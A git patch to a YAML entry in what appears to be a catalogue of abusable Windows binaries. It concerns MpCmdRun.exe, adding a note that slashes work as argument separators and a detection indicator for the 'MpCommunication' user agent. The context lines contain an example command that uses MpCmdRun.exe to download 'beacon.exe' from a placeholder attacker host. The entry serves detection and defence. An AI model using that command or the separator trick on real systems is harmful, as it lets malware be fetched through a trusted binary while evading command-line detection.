From 3078cc3755ff80e33a634ad812791ffa0c2dc261 Mon Sep 17 00:00:00 2001 From: Rich Rumble Date: Thu, 3 Sep 2020 10:39:24 -0400 Subject: [PATCH] Update MpCmdRun.yml Added note that slashes (/) can also be used as command separators, and that the UA is MpCommunication Thanks! --- yml/OSBinaries/MpCmdRun.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/yml/OSBinaries/MpCmdRun.yml b/yml/OSBinaries/MpCmdRun.yml index 630d802..fa85c4b 100644 --- a/yml/OSBinaries/MpCmdRun.yml +++ b/yml/OSBinaries/MpCmdRun.yml @@ -5,6 +5,7 @@ Author: 'Oddvar Moe' Created: '09/03/2020' Commands: - Command: MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\beacon.exe + Note: Slashes work as command line argument seperators /Downloadfile, /url, /path, as well as mixing dash and slash Description: Download file to specified path Usecase: Download file Category: Download @@ -31,6 +32,7 @@ Detection: - IOC: MpCmdRun getting a file from a remote machine or the internet that is not expected. - IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching mpcmdrun.exe. - IOC: Monitor for the creation of %USERPROFILE%\AppData\Local\Temp\MpCmdRun.log + - IOC: User Agent is "MpCommunication" Resources: - Link: https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/command-line-arguments-microsoft-defender-antivirus - Link: https://twitter.com/mohammadaskar2/status/1301263551638761477